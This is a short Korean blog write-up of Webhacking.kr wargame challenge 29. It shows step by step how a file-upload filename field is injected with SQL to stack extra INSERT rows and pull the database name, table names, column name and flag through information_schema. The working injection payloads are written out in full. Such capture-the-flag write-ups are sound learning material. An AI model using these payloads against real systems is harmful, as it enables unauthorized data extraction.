Webhacking.kr 29번 문제풀이

동스토리 ㅣ 2021. 1. 8. 21:51

반응형

안녕하세요.

 

웹 해킹 29번 문제풀이 하겠습니다.

 

 

우선, test 파일을 업로드하였을 때 "Upload success"가 나오는 것으로 보아 파일 업로드 취약점으로 접근하면 안 될 거 같습니다.

우리는 FLAG값을 알아야하는데 "FLAG is in another table"인 것으로 보아 FLAG값이 다른 테이블에 있고 그 테이블을 찾으면 될 거 같습니다. 우리는 다른 테이블에 있는 FLAG값을 알아내기 위해 SQL 인젝션을 시도해 보겠습니다.

 

우선, 버프스위트를 사용하여 time / ip / file이 insert 되는 순서를 알아보겠습니다.

 

INSERT INTO 테이블명 VALUES 가 다중으로 데이터를 넣을 수 있는 특징이 있기에, 이 결과를 이용해 탐색해보겠습니다.

ex ) INSERT INTO 테이블명 VALUES (‘a’, ‘b’, ‘c’), (‘d’, ‘e’, ‘f’);

 

1. filename, time, ip -> Upload Success

 

2. time, filename, ip -> Upload error!

 

 

이제 filename이 첫번째 위치하는 것을 알았으니 데이터베이스명, 테이블명, 칼럼명 순서대로 추출해보겠습니다.

 

# 데이터베이스명 - chall29

filename="file', 123, '나의 IP'),((SELECT database()), 123, '나의 IP')#"

 

# 테이블명 - files, flag_congratz

filename="file', 123, '나의 IP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 123, '나의 IP')#"

# 컬럼명 - flag

filename="file', 123, '나의 IP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 123, '나의 IP')#"

# FLAG 값 - FLAG{didYouFeelConfused?_sorry:)}

filename="file', 123, '나의 IP'),((SELECT flag FROM flag_congratz), 123, '나의 IP')#"

 

감사합니다.

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 32번 문제풀이  (0) 2021.01.13
Webhacking.kr 31번 문제풀이  (0) 2021.01.10
Webhacking.kr 28번 문제풀이  (0) 2021.01.07
Webhacking.kr 27번 문제풀이  (1) 2021.01.05
Webhacking.kr 26번 문제풀이  (0) 2020.12.31